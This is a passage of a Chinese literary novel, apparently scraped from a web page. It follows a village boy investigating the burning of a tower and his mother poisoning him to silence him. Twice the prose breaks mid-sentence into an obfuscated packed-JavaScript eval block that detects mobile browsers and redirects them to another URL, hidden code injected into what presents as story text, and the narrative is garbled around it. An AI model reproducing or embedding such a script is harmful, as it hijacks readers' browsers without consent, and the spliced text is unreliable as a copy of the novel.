他又急了,开始折磨手里的铅笔,拿笔头当做犁地的工具,在桌面上开垦农田,几下就创造出灰黑色的数条田埂。他还开始啃咬笔身,这野狗似的孩子一口下去就有木屑迸飞出来。 “小白菜。”李春生握住他手中的铅笔,“你的推理没有问题,但你的思维迷了路。你一切的推断都基于自己的认知,你所列举的鞭炮,火把,酒瓶和打火机都没有错,因为如果是你去点火,就会用到这些。但你毕竟不是放火的人。”李春生把铅笔从小白菜的口中抽走,摸摸他的头使他缓缓安静下来,“不妨回现场看看,也许会有新的发现。” 小白菜踩着放学的音乐声往登临塔的方向走。一路上不断有背着包袱的人路过他,其中不乏目睹过他在家痛苦打滚的人,他们的眼睛都像是长在了小白菜的身上,对他现在能直立行走的行为感到诧异,以至于要扭转整个上半身去仔细观察他。可小白菜看不见他们,他的眼里只有远处的登临塔,高塔还没有修完,就和他画在墙上的是一个样子。 他越靠近登临塔的位置,丁零当啷的声音就越清晰。从这些声音中他动动耳朵分辨出锯木头的呜呜声,挑土卸土的咚啪声,万金花占卜的喃喃声,磕头的咣咣声,敲钉子的当当声,李得彩画笔的刷刷声。小白菜觉得自己好像一条五感灵敏的狗,不过狗也没什么不好的,他长了牙和爪子可以咬人抓人,广播里还说了,狗可以帮忙抓坏人,这不就是他正在做的事吗? 想到这里,小白菜忽然就嘿嘿嘿地笑起来,他欣然接受了自己与狗相似的身份,一边笑一边继续往塔那边赶路。 他亲爱的母亲万金花仍然是明月庄的热门景点,超过半数的人都已经瞻仰过她背上寓意登仙的诗文,在这段时间里她开出上百张灵验的药方,为自己未来的道路积攒人气。 “万仙家!仙家!小白菜他过来了!”一个男人赶来通风报信,等到万金花裹好身上的百家布走出红布帐篷,就看见广场上的众人已经散开围出一个圆形的区域,他们的脖子全都像鹅一样伸长去看一步一步走来的小白菜,后来的人挤不进广场中心,只能乖乖地在外面的路上排队,仿佛在对小白菜的到访夹道欢迎。 我们明月庄迄今为止最负盛名的两个人聚在一起了,小白菜的头顶不断冒出白色的水汽,这表明他又在发烧了。万金花把自己藏在百家布里,只露出一个白里透红的脑袋。 “你今天总算转了性,来认你妈了?”万金花开了口,表现得并不像小白菜的母亲,而是他的敌人。 “妈妈,真好笑,我什么时候没有认过你?我们虽然争吵,但我终究是你的血脉,怎么会不认你呢?我们母子一场,有些磕碰也是正常的,你可别把我推开。” “哼。”万金花从鼻子里冷哼一声,她了解这个孩子的脾气就像了解自己,“你就剩一张嘴还厉害。” “好了,妈妈。”人们跟着小白菜的脚步逐渐缩小了包围圈,“我今天不是来和你吵架的。我要上塔去看看,好好看看。你把心放到肚子里去,我什么也不会动。” 小白菜走过万金花身旁的时候伸出手抚摸了一下百家布的其中一角,“妈妈,这不是我的襁褓布吗?”万金花这时候才发现,她的小儿子已经长高了好些。 一踏进新登临塔的入口,小白菜就在心中喃喃自语:“诶哟,这新塔真是费了他们好些心思。八角阁,三跳拱,回廊上壁,壁上作文。”长绸带似的楼梯从天师塑像的脚边一直螺旋往上,小白菜走上去接着说:“木楼梯,陶土像,仙凡本一体,一体生两相。” 在木楼梯的中间位置,小白菜看到了李得彩。他的眼睛几乎就要贴到塑像上去了,手里的画笔却一刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15123186|163016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不停,李得彩两耳不闻窗外事,一心只想着要把这彩绘精益求精地完成,甚至都没有发现小白菜。 外面的人又开始轰隆轰隆地干起活儿来了,李得彩这才动了一下脑袋,看见小白菜,他先是擦擦眼睛,再问道:“你怎么来了?” “我不能来?” “不是。”李得彩在为他特地搭建的小高台上坐下了,开始不紧不慢地洗画笔,“我以为你不会来。” “我有要紧的事,特地来这里查看。” 李得彩摆摆手,“随便你,只要别打扰我做塑像。你们干什么都行。” 小白菜继续绕着楼梯走,目光始终盯着尚未上色的神像五官,“爸爸,我们原来的那座塔,也有这么高吗?” “没有。” “爸爸,我们原来的那座塔,也是这样的木楼梯吗?” “你没长眼睛吗?原来的塔和现在的一模一样,只有规模更大,更高,彩绘更精美了。你不懂吗?只有这个样子的天师像,我才能做得好。” “是吗?那当初……”小白菜正想说些什么,低下头去寻找李得彩的身影。就是这个时候,他看见父亲从脚边拿起了他珍爱的古巴烟斗放到嘴里。李得彩一吸气,烟斗中的烟草就因为流动的空气而发出橙红色的光。 他知道那是什么。 是火星子。 哦,火星子,来自点燃的烟草,来自高台上的李得彩,还有那木质的长楼梯,小白菜明白了,他什么都明白了。塔内的空间转瞬成了烧热的炉膛,他先是听到火星子在烟斗里噼啪作响,那响声越来越大,越来越近,好像就在他的耳朵边炸开,炉膛里的温度也越来越高,小白菜一扭头,一个火星子就飞到他的眼前迅速膨胀成一个太阳,他在太阳致命的炙烤下头朝下晕过去,跌入了炉膛中滚烫的炉芯里。 小白菜对这温度感到莫名的熟悉,就和自己反复的高烧一样,他现在不仅能与其共存,还开始贪恋这种高热了。他不知道,这种熟悉的温暖其实源自他尚未出生的时刻——李得彩跪在庙里无休无止地雕了几十个小神像的夜晚。 当时万金花已怀孕六个月零五天,她躺在床上正经历高烧的纠缠。和后来的小白菜一样,在床上躺成一个“大”字,竭尽所能舒展开四肢。她的肚子随着呼吸而起伏,额头上不断淌下汗来,高烧让她浑身酸痛,脊柱好像要被生生砸断了一样,“我生来就是与你们李家不对付的,李得彩,你以后就是不得好死的命。” 金铃儿在床边拍拍母亲的手,把一条浸过水的毛巾敷到她的额头上。万金花把她喝退,“去,我还用不着你来管。”刚说完没一会儿,她就因为高烧而昏睡过去了。 李得彩做了这么多年神婆子的丈夫,自己要求神的时候却不知所措。万金花躺在床上咒骂他的时候,李得彩带着他的雕刻工具坐在天师庙里的蒲团上,从衣裳中抖落数十个空白的陶土小神像,拿起刻刀孜孜不倦地塑造他们的细节,每落下一刀,他就念叨一句,“请天师务必保佑这个孩子顺利出生。” 六七年前目睹了女人分娩之后李得彩就始终心有余悸,他尽量不去想床上的血和说不清的分泌物,但看着万金花抚摸自己隆起的肚皮时,他就不可避免地开始想象这个孩子出生时,会否也是一片狼藉。他不想再用瓦罐去晃出自己的孩子,也不想再次用手去抓血管密布的人类胎盘,他希望这个孩子出生的时候,像老母鸡生蛋一样简单就好了。 “他有空在这里求你,不如现在回家陪着老婆,他的脑子真是不清醒呐。”慧慧和李春生坐在台上往下看,她的手握成拳头朝着李得彩的头隔空锤了几下。 慧慧从台子上跳下来,拿起一个小神像问李春生:“他刻这个到底是什么意思?” “这是他的贡品。” “我从没见过这样的贡品。” 李春生也缓缓走下台子,接过慧慧手里的那一个说道:“整个明月庄,只有李得彩有资格且有能力刻这个。拿到我面前,别人的都是白纸,只有他的写了名字。” “他现在该关心的可不是把名字拿到你面前展示。” “你说得没错,他该回家去。” 李春生本该把李得彩手里的刻刀打落,促使他扔掉手里的活计跑回家去,可就是在这个时候,我来到庙里告诉他们:“万金花的胎死了。” 李春生的手悬置在空中,慧慧先开了口,“流了?” “没有。还在肚子里。但只剩下她自己的灵了。” “哦,不发育了。可怜这男人还在这里求平安呢,真是糊涂。” 我们都等着李春生做出最后的决定,毕竟李得彩求的是他。我看到他抬起头看了台子上自己的塑像许久,期间李得彩的祈祷的声音和敲木鱼似的咚咚咚咚一刻不停,最后李春生说:“我保他一命吧。” “哈?为什么?” 李春生在那时候就显出一个赌徒的本性,“我改主意了。原本想着可以死在万金花手里,毕竟她过去的苦难也与我脱不开干系。有了这个孩子,我还可以培养他来了结我。” 慧慧没有阻止他,而只是考虑这件事的可行性,“你要怎么保他一命?他已经是个死胎,生死之事,即便是我们,也不能让他死而复生。” 李春生从李得彩的身边拿起一个尚未雕刻面部细节的小雕像,“用这个。”他伸出手往刻刀上靠了一下,血就从食指处流出来,他把这一抹红涂在雕像头部和大约心脏的位置,“你帮我送回去就行了。靠着这个,他可以平安降生的。” “你这不是保他一命,而是借他一命。我一旦把他送过去,你们之间的血脉就打了死结,你们必然要产生联系,以后你走了,他就是空壳一具,算不上是活着了。” “我知道。”我在李春生身上闻到了一阵转瞬即逝的死水味道,他说:“我都知道。只要这方法行得通。反正,我终究是对不起这里的。” “你这是在培养自己的掘墓人。” “我本来就在自掘坟墓,多个人一起,说不定还快些。”他身上的死水味道盖过了熟栗子的甜香。 “你呢,星君?”李春生忽然转过身来问我,“你有什么意见吗?” 我当然没有意见。死胎没有灵,不需要接走投胎,李春生的做法也不会产生新的灵,一切都在我的职责之外。“你觉得行就好。”我说。 “好吧。”慧慧拿走了神像,“你别后悔。” “你送过去的时候把神像的样子藏一下吧,找个寻常的东西遮掩一下。” 慧慧往庙里头看了看,“我把它塞到白菜帮子里去!” 三个月后,小白菜出生了。 ? 36.往日重现 再过一段时间,今年的晚稻就到了收割的时节。往常到了这个时候,明月庄又会逐渐忙碌起来,所有的占卜和争吵都不能改变土地才是他们亘古不变的父母的事实。只是今年例外,在万金花的主持下,重修登临塔成了每家每户最要紧的事,水田里的稻谷稀稀拉拉,远远望去像一块剃坏了的头皮。难怪瘸子骇人的尸体至今都没有人察觉。 孟明达在屋里哼着歌:“远山青呐近水绵绵,水边蔓草连天边……”屋是他尚未搬走时候的老屋,左小青当年就是在这里咽了气。所以每年这个时候,孟明达都会回来把屋子好好收拾一遍。他的面包车轮胎上沾满了潮湿的黄泥,后保险杠也不知道什么时候凹下去了一块,车身萦绕不散的生肉腥味还是没有变化。 我从房顶上下来,靠在门口问他:“最近不忙?” 他被冷不丁吓了一跳,“诶哟我去,姑爷爷,你怎么一点儿脚步声都没有哇!我以为见鬼了呢。”他把衣服扯扯齐整,“谁不忙了,我看你倒是挺闲,神出鬼没的。” 他已然把地面打扫干净,正在清理桌面灰尘,我从角落拿了一把椅子坐在门口,点着一支烟等他,“月儒说她不喜欢棉纺厂的老板。” “我知道啊,她去保育院的时候我还帮着看了呢。”孟明达举起手里的抹布作出防御的姿势,“大哥!你不会是来找我算账的吧?我真不知道啊!我就是个配货的,手上就这么点儿可怜的人脉。棉纺厂那孙子人模狗样的,我真不知道他是个压榨工人的黑心肠,我要知道也不可能把你妹妹介绍过去啊……” “可以了。”我不是来找他麻烦的,也知道他说的都是实话,“我就是说说,没想让你怎么样。” 他这才松了一口气,“你听起来像是要把我砍了。” 但我真的只是想平常地聊聊天而已,看孟明达这个样子,可能我是真的不适合与人亲近吧。孟明达把桌面擦得吱吱响,恨不得那木桌子能和镜面似的亮,我想起他在镇上的那个家,窗户也和这里的一样干净透明到好像不存在。 结束了清理,他把毛巾搭在手上钻进副驾驶,“我给你看样东西!” 一个圆筒,孟明达从中抽出一卷纸,展开以后发现是一张奖状,上面写着:孟繁枝同学,在上学年各方面表现突出,成绩优异,德智体美劳全面发展,被评为三好学生。 他将这张奖状举在胸前,仿佛他才是获奖人一样面色红润地笑着。我点点头,“嗯,挺好。” “才挺好啊?你要求这么高?” 我有些不耐烦,“这你儿子又不是我儿子。” 他捻着奖状的右下角凑到我面前,“看看,市级的!”孟明达睁大眼睛看着我,摆出一副学龄前儿童认对了字等待夸奖的殷切神情,我要是不能说出一句令他心满意足的话,之后的任何话题都会显得更加尴尬吧。 “你……繁枝真给你争气。” “诶!你这不是挺会说吗呵呵呵呵……”他左摇右晃地收起奖状,又在后座倒腾出一壶酒来,我看到酒坛子上写着“红梅落”,立即说道:“不喝这个。” “啧,还挑上了。”孟明达的后座当然不会只有一种酒,他换了一壶“风荷露”,“这个好!”他只给我斟了一杯,自己则忙忙碌碌一刻也没停下来过,这次他打开后备箱端出一个纸箱子,“我给娃娃们带了这个,你可以帮忙拿过去!” 一台收音机,中间有个放磁带的槽。箱子当中其他空余的地方全都排满了各式各样的磁带。孟明达说为了这些磁带,他几乎把那家店都扫空了,我认为他是在说大话。 “哈,你别管大不大了,你就说这些东西好不好吧!”他又露出那副等待夸奖的神情。 “嗯。”我点点头,“还有别的要拿出来吗?” “啧,你这人,说话总是这么扫兴。”孟明达的眉头低下去,“没了没了,都拿完了!那你呢好哥哥,你是准备向我传达什么命令啊?” “中学里的学生们……”我站起来,“需要你帮忙接出去,之后的时间,可能比较紧张。”这是慧慧和小季的判断,她们信心满怀地告诉我,中学将在明月庄以外的地方获得新生,我只负责相信她们。 孟明达听了,朝我一跺脚,右手举到头顶敬了一个礼,“长官您放心,我随时待命!” 我抱着装了收音机和数盒磁带的纸箱回去的路上,从房顶上远远地往北边望过去,就看见一个梳着长辫子的女人怀里抱着东西沿着河岸慢慢地走,她的脸上洋溢着幸福的微笑。直觉使我停下来看她,女人走得和乌龟一样慢,等她终于靠近一些,我才看清楚她手里抱着的是一个小孩子,用碎花的襁褓布包裹着,在女人的臂弯里轻轻摇晃。她的脸我没有什么印象,只依稀能记得确实是明月庄里的人,而她怀里的孩子,这几日都没有听慧慧说起过哪家添了新生命。我感到奇怪,便跟着她一起走了几步。怀中的小人在这时扭动了几下身子,女人显得很紧张,“不怕,不怕,妈在这儿呢,妈在这儿呢,咱们不会丢了啊。” 襁褓布发出猫叫似的声音,那小孩耸动身子伸出了细小的胳膊来想要捧住母亲的脸。他的右胳膊正对着我,在大臂上有一团乌紫的淤青。 看来这女人是孟柳。我正想着观察那来历不明的孩子更多线索的时候,孟柳突然警惕地抓住孩子的胳膊,把他往怀里拢了拢,她的眼珠就像濒死的鹿那样死盯着斜前方,原来我们已经走到了万金花的家门口。 那日小白菜引起的轰动让万金花如临大敌,她的心中产生了强烈的不幸的预感,冲进高塔的内部对平台上的李得彩大喊:“他都说了什么!” 塑像师抽着烟斗说:“什么也没说呀!” “那他待了这么久是做了什么?” “你怀疑我吗?我告诉你万金花!我根本就没碰他!他疯疯癫癫地走到楼梯上来,说了些听不懂的话,我一眨眼的功夫就滚下了楼梯逃跑,你却还要来怀疑我!你疯啦,你们都疯啦,为了这个塔,你们成了自相残杀的疯子!我连好好造像的清静地儿都没有了,难怪我怎么也做不好!”李得彩几乎发出他这辈子最嘹亮的声音来反驳。 “你本来就是你爹说的废物一个!没有他,没有我,你就是什么也做不成!现在好了,我要是因为你的不知道而被小白菜害死了,你也要陪着我下地狱去!” 李得彩也喊道:“我早就下了一百遍地狱啦!” 神婆子没想到李得彩今天敢与她争吵,一跺脚下定决心后她就往家的方向飞奔。万金花迎着夜色跨过石桥,她嫌手抓着百家布碍事而直接从身上取下拴在腰上,把她光荣的脊背大方地献给夜晚,月光则成了她新的披风。她知道小白菜不会无缘无故地来“查看”登临塔,他一定是知道了什么,或者想要知道什么,这件事必定对她不利,既然小白菜离开的时候什么也没说,那就一定在宣布自己的发现做准备。在这一切发生之前,万金花要做第一个知情者。在路上,她已经准备好了一场激烈的对峙,肚子里的腹稿全都蓄势待发。 可她在家里见到的,不是趾高气昂,等着她自投罗网的小白菜,而是一个浑身发热,躺在床上止不住颤抖的患病儿童。于是神婆子也就好似漏了气,没法轰轰烈烈地炸响了。 她的小儿子,小白菜,遭遇了有生以来最严重的一次高烧。万金花拿手背碰了碰小白菜的额头,发现他烫得像刚从锅里捞出来一样,而他的牙膛却在持续地打寒战,四肢也和触了电一般不断抽搐,身下的床单已经被汗洇湿了一大片。 万金花拍拍儿子的脸,“喂!喂!醒醒!” “妈……妈妈……”小白菜的脑袋随着身体的抽搐而左右摆动,他已经不能说出完整的句子。万金花吓坏了,她从没见过这种情形,她在手心啐了一口唾沫,分别抹在小白菜的两个耳朵后面,以往治疗小儿高烧的时候,她都是这么做的。 这当然是没有用的,整个房间里都装满了小白菜的呼吸声,万金花呆坐在床边自言自语:“完了,咱们家要完了。” 万金花枯坐了一整夜之后才想到了说辞,这时候她的眼睛已经布满了红血丝。金铃儿和银铃儿出门之前对她说:“他要是烧得厉害,可以让中学的校医姐姐看看,开副药,也比熬着好。” 万金花白了大女儿一眼:“你嫌我们家死得不够快,要让全庄子的人都知道他成了这个样子?”她走出屋门,气定神闲地对疑惑的众人宣布:“各位,就在昨天夜里,我听到了吉祥天师的召唤,他借用咱们供奉在家里的神像对我开了口,后面的日子,我和小白菜两个就要闭关在家,诚心抄写《千年万代引》,为咱们明月庄积福积德。你们若是有事找我,每天早上六点到八点,我就在门槛这里坐着,其余时间一律不见人。天师对我说了,登临塔,务必要在年底之前封顶!” 我见到孟柳的时候时间刚刚过了八点,求着万金花答疑解惑的人们还没有完全散去,门槛上已经不见了神婆子的影子,她头也不回地关上了门,剩下没来得及说上话的人们摇头哀叹,准备明日早来一步。孟柳捏着孩子的胳膊等到人群散去,她并不严格遵守神婆子的规矩,闯进了她的家门。 小白菜的抽搐仍在继续,他想要说些什么,但喉咙像是吞了一团湿棉花,依旧只能“妈……妈妈……”地断断续续吐出几个字,万金花全然没有人前的那股精气神,在床边软绵绵地坐着。 “他怎么烧得厉害?”孟柳在门口说道。 听到外人的声音,万金花惊恐地跳起来,“谁让你进来了!” 孟柳没管她,接着说:“他打抽抽,你用皮筋箍住他的头就好了。不是小的,是姑娘们跳马兰花的那种。” “我没让你进来!” “放心吧婆子,你帮我续上了母子缘分,我怎么会害你呢。”孟柳再次对着怀中的孩子露出了微笑,“我们母子俩会远走高飞,来和你道个别。” “用不着你们道别,我只要你们闭紧嘴巴!” “我的嘴巴早就缝上了,婆子,你信不过谁都不能信不过我。” “啊……啊……”床上小白菜怪叫着,又和不能开口说话时一样的,万金花恍惚间觉得自己回到了几年以前为小白菜迟迟不会说话而苦恼的时候。她现在深刻地体会到了被血缘高度捆绑的无力感,这个与她争夺地位的孩子好像就在死亡边缘,利益上来说她应该感到高兴,但作为母亲,日子变得更加难熬起来。 “你们都是来讨债的鬼。”孟柳离开后,万金花这么骂了一句,就从颓废的状态中彻底抽离出来,她强迫自己保持高度的警惕,以应对接下来所有可能发生的情况。她决定用完全的准备来武装自己,便开始观察墙上的壁画。 小白菜的手笔稚嫩,但还是可以看出他画的是什么。万金花伸出手指一擦,指头上也就有了砖红的颜色,她张张嘴说道:“他真找到了?”墙壁上有酒瓶和火柴的图案,表明小白菜认真地思考了作案工具,于是瘸子的那句话就在耳边广播:李得彩用的是烟斗。 万金花的膝盖窝打了颤,她连忙躲开了墙蹲下身子去抱着头,过了一会儿发现并不是地震才重新站了起来。 她哪里知道烧塔的人是谁,但瘸子和眼前的壁画好像都在告诉她真相。 “李得彩……李得彩……”万金花念叨着。 由于当事人现在没法正常回答她的疑问,万金花也不知道自己该对这幅壁画作何反应。她想起小白菜开蒙之前的几年,她还认真地教了他“狡兔三窟”的成语,现在万金花只觉得,这个孩子有些过于狡猾让她捉摸不透了。 她懊恼地打了一下自己的脸,“从有了他开始就是作孽!”万金花这么说着,就从抽屉里找出一捆皮筋来剪了,打成适合小白菜头围的一圈绑在他头上。小白菜的抽搐好像真的减弱了一些,此时万金花多么希望他们只是普通的一对母子。 但我们都明白,这已经不可能了,明月庄本身,和其中许多人的命运都是如此,在无法察觉的时候就走上了不归路。万金花坦然接受了自己的命运,现在她需要做一些事来保证自己的地位不会动摇。 她首先做的,就是趁着鸡叫头遍之前的一个凌晨偷偷溜出家门,一路摸着墙壁来到修建登临塔的广场上。这个时间李得彩不在高台,而是在地面靠着某片莲花瓣垂着头睡觉。万金花把他一脚踢醒,“不要命的食糠鬼,你守着神像都做了什么!” 塑像师傅迷迷糊糊地坐起来问:“你又怎么了?” “什么叫我又怎么了?应该是我问问你又做了什么!”万金花揪着领子把李得彩薅起来,“我问你,小白菜那天来,都看见了什么?” “能看见什么?!这里面除了我还能有什么?!”李得彩大吼,万金花和小白菜这样不请自来的行为其实让他大为光火,因为这令李得彩想起父亲李金泉的老爷做派,总是冷不丁地进门,再冷不丁地砸烂他手上的作品。直到现在,任何人闯入他的创作空间,都令李得彩控制不住地感到焦虑。他从万金花手上挣脱,两条腿差点在平衡身子的过程中打结把自己绊倒,他掸掸尘土,从口袋里摸出了古巴烟斗。 “烟斗!烟斗!”万金花指着说道:“李得彩你就告诉我,那天小白菜在这里的时候,你有没有拿出这个烟斗!” “我难道不能抽烟?这烟斗本来就是我的!” “你是承认了。”万金花忽然笑了一声,“这下我可就知道了。李得彩,瘸子说是你用烟斗点着了登临塔,是不是?”她看到丈夫抽烟斗的背影突然定住了,烟草燃烧发出细微的沙沙声,万金花讨厌这种气味,在过去的十几年时间里她已经忍受得够久了。 李得彩迟迟不开口,万金花的眼前瞬间就看不清了,脸上湿漉漉的,她还奇怪塔里怎么还能下雨。 “是你……真的是你啊。”她甩了甩头,给自己的过去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“神婆子的男人把天师神像烧了,呵呵呵呵呵……真是明月庄天大的笑话!你难道不知道这是罪大恶极的事?你难道不知道这会毁了我们全家?你难道不知道我们一整年折腾的这些事都是因为你烧了塔?!” 李得彩任凭万金花不断地责骂,手里依旧牢牢攥着古巴烟斗。过了一会儿,万金花终于骂累了,李得彩在这个空档里悲伤地抬起头,“我把眼睛画歪了,失败品,该烧。”他说完,形容枯槁地坐下去,整个人看起来也像是一尊土塑像。 万金花也在距离李得彩两米远的地方坐下了,她用手掌盖住脸,把整个脑袋埋在膝盖中间。她彻底累了,觉得自己的人生就是彻头彻尾的笑话,难道真的和抛弃她的父母说的一样,自己是个煞星吗?要不然要怎么解释,她身边的所有人都慢慢成了疯子呢?万金花想着也可能是自己疯了,这也都无所谓,她只想在这里继续挺直腰板活着。 “那要是这次的没做好,你也要放火把它烧了吗?”万金花问道。 “这次的不会做不好了,只要你们别再打扰我。” “呵。”她懒得再去求证什么,“李得彩,我从这里出去以后,闭紧你的嘴巴。” “我才懒得说。” 现在万金花要求证的第二件事,就是关于瘸子。当麻子被叫到万金花家里来的时候,他还以为又是找他买药引子。“最近不太好弄,乱七八糟的人越来越多了,你们悠着点儿吧。”麻子十分不耐烦,他基本是不会直接面见买家的,想着明月庄是个大客户才给了面子。 “没问你这个。”万金花给他泡了一杯烫茶,“那个瘸子还记得吗?” 麻子对他的印象还算深,“这个啊。都按你说的办了,有啥拿啥,这蠢货倒是长了颗不错的心,现在估计已经在哪个大老板的身上了。” “他人呢?” 麻子有些诧异地看了万金花一眼,“扔了呀。心都没了,还能长腿跑了不成?” “怎么证明?” “我去,你什么要求啊?”麻子嘬了一口茶,被烫得皱紧了五官,“垃圾场绞成泥了,或者被野狗吃了,我上哪儿给你证明去。” “我是信得过你才来问你。麻子,你老实说,你是看着他们把瘸子扔在外面了吗?” “当然看见了,不仅看见了我还听见了呢,‘咚’的一声响,骨头都得摔断好几根。那胸前那么大个血窟窿,没几秒他就咽气啦!” 虽然心里知道瘸子没了心脏肯定没法活,但没亲眼看见他在外面咽气万金花总觉得不踏实。只不过麻子说到了这份上,也无法再问出什么来了。瘸子死了,明月庄就少了一个令她不安的人,而他失踪,小白菜的预言也就无法落地,万金花只能战战兢兢地放下心来。 于是现在真正威胁到万金花的,就只剩下她躺在床上高烧发作的儿子——小白菜。摆在万金花面前的是两个选择,要么等到小白菜从高烧昏迷当中醒来,与他展开最后的对峙,要么让他永远也不能醒来或是开口说话。这个问题无异于让她选择是否背叛母亲的责任。她曾经将自己光辉未来的一大半都倚靠在这个孩子的身上,可现在呢,他成了万金花最大的绊脚石。 万金花忽然呵呵地笑起来,她猛然发现自己过去犯了一个巨大的错误,那就是放弃依靠自己。在收获金白菜的迷梦里,在装下金铃儿和银铃儿的瓦罐里,在登临塔一层层的台阶里,万金花发现自己越来越成为一个枷锁满身的角色。 “都是狗屁。”她对着窗户说道,“一个都靠不住,呸。” 她看着仍在不时抽搐的小白菜,感到自己的灵魂沉重无比。 万金花站起身来,在沉默中打开了最底层的柜子,从中取出几个深棕色的罐子,表明她已经作出了选择。这件事她在过去已经做过无数次,即便罐子上的标签已经磨损得看不出字迹,仅凭表面的触感,万金花就能准确地判断出内容物。 这个三勺,那个一勺,还有那个两滴,其实剂量配比并不重要,因为这些东西不管怎么调配,都有着同样的“疗效”——它灼烧喉咙与肠胃,饮用者会呕吐,直到他的口中除了组织液和鲜血什么都无法流出,他首先会想到迫近的死,再想到辽阔的生,然后他就失去了语言与交流的能力,成为一个不可逆转的哑巴。 “唉。”万金花叹了一口气,“要是我和老娘一样,你早就活不成了。”她对小白菜说道。 如果他没法吞咽,就要使劲捏紧他的嘴巴。万金花这样想道。 她用拇指顶开小白菜的口腔,装着奇怪液体的瓶子已经凑到了他的嘴边,小白菜已经拼尽全力瞪大眼睛,在万金花看来也只是睁开了一半而已,“你要是我,早就活不成了!”万金花重复着这句话,闭上眼把药瓶灌进了小白菜的喉咙。 小白菜发出“呼呼”的声响,好像一条恶犬在濒死前还想着驱逐领地中的入侵者。他感到自己浑身的骨头都在冒着泡,随便什么人过来一捏就碎成了粉。他关闭自己的喉咙拒绝吞下这不明的液体,万金花就张大她生了好些老茧的手掌来盖住小白菜的嘴,还托着他的下巴拼命地往前推,小白菜听到母亲说着:“我都留你一命啦,你也放过我吧!” 咕嘟。 药水落进胃里,血沫子涌上来,万金花听着小白菜恐怖的咳嗽睡着了。 37.走吧,走吧 慧慧她们的伟大计划紧锣密鼓地开展起来以后,庄子里吃人的传闻就又卷入重来,理由是过去曾见过的一些面孔,在近段时间都一声招呼都不打地消失了,它和过去对中学的污蔑互为表里,为人们提供了巨大的想象空间。碎嘴与幻想是明月庄生活的主要组成部分。 小白菜长时间的昏迷让大家都松了一口气,过去他可能在任何时间出现在中学的门口,尽管给他安排的课堂时间永远在下午四点以后,他仍有可能在清晨就出现,幽灵似的坐着监视所有人的一举一动。 这里早就称不上一所学校了,倒像是一个难民营,为了维持一切正常的表象而勉强进行着教学活动。我们的进度推进很慢,时间也不充裕,明月庄钟爱的是循规蹈矩,一成不变的生活,就像孟明达的面包车每一次能够停留的时间只有二十六分钟。 在这二十六分钟里头,前十五分钟我们分头行动,孟明达会大张旗鼓地把这些天中学要用到的食材铺开到地面上清点,故意摆出一副头脑不甚聪明的样子来。他的嘴巴圆滑地很,大概是做生意磨炼出来的本事,有时候见了庄子里的人也会大胆地与他们招呼,隔着老远问问他们要买什么稀奇的玩意儿,并真的在下一次送货来的时候做成这一笔生意。 我看着地上铺成迷宫般的食材对他说:“下次不用这么多,中学里人没以前多了,吃不完。” “嘿嘿,你还挺节约。”他撅着屁股正收拾一袋南瓜。 “节约不对吗?” “对!太对了!”他拎起南瓜甩到肩膀上,走过来小声地说:“这不是做样子吗?一下子少了让人觉察出什么不对。放心,你开个口,之后多了的我再拉回去。”他顺手把清单给我核对,却拿错了一张。 “平宁县诚心大酒店。” “诶?错了错了。”孟明达从外套内袋里取出正确的单据来给我,“是这个呵呵呵。”孟明达做生意没什么坏心眼儿,拿到庄子里的和拿到大酒店的货都是一样的,他说这样晚上睡得踏实。 等到我们两个核对完所有的货物,时间基本上还能剩下一分三十秒,在这宝贵的空余时间内,孟明达会把面包车开进中学里头,围墙就充当了天然的屏障。 学生们只要在中学里就能见到,但与他们站在一边的父母长辈则沙粒似的散落在明月庄的各个角落,若让他们都陆陆续续光明正大地前往中学就太显眼了,因此只能维持一个无事发生的假象。这就是慧慧与银铃儿的任务,与前十五分钟内的盘货是同时发生的,她们在明月庄错综复杂的道路上穿行,成了庄子里最灵巧的两头鹿。 这里的任何一条岔路银铃儿闭着眼睛也不会走错,慧慧则能在突然的遭遇中巧妙转圜。她们去田野里,去河边,去堆放稻谷的粮仓角落,为这些“叛逃者”们引路。 不过今天她们不需要去做引路者,因为今天要上车的是季青山。水鬼的传闻灰飞烟灭之后,季青山就成了这里没有登记的一员,教师宿舍空得很,他就睡在其中的一间。在这里生活不是难事,但季青山毕竟是庄子里的生面孔,长得又高,来回走动的时候总要先留心观察周围的环境,弄得他觉得自己虽已不是水鬼,倒像是下水道的老鼠。 “你倒是快上去呀。”小季老师催促他,在剩下的十一分钟里,小季将成为这里的总指挥。她从后面拦住季青山的腰往前一送,就把这个身材修长的少年扔进了后车厢。里面的味道让他不禁皱起眉头,孟明达哈哈一笑,“小子!这也就是生肉的味道,要是用火一烤,你就不是捂鼻子,而是流口水了哈哈哈哈!” “青山,你就在里面躺着,停下来之前都不要把头抬起来。”小季塞给他一个信封,“这是周老师那里的介绍信,你千万保管好。你的年龄比他们都大些,等见到了以前的朋友,你可要照顾好他们。” 季青山点了点头,他又望向教室的方向,小季知道他在看谁,“我们在呢,谁都不会有事。你好好等着,听明白没有?” “明白了。”他遵照指示在后车厢里像猫一样卧倒,孟明达关好了车门。 “慧慧!”小季老师朝着二楼挥挥手,慧慧就进去按下按钮,中学的广播铃声也就适时响起。这并不是会引人怀疑的因素,因为孟明达送货来的时间是固定的,进行到这一环节不过一分钟左右的误差。在人人都以重修登临塔为头等大事的当下,这就无足轻重了。 在铃声音乐持续的三十秒当中,银铃儿和其他学生们都回到了教室里去,面包车的引擎声发出轰鸣。到此,省去了慧慧和银铃儿在外引路带来的些许误差后,我们总共用去了二十五分三十六秒。 坐在二楼办公室的老校长再次长舒了一口气,她原本为小季和慧慧筹谋的事提心吊胆,但桌上的一张老相片却让她想起自己年轻时候的岁月。难道小季不是曾经的她吗?她承认自己过去也是一个鲁莽,一腔热血不计后果的年轻人,也摇摇晃晃走到了现在。中学还没有达成她的夙愿,要是为了这途中的一点摇晃就以过来人的口吻阻止她们的尝试,那与曾经举着铁锹威胁自己的人又有什么区别呢? 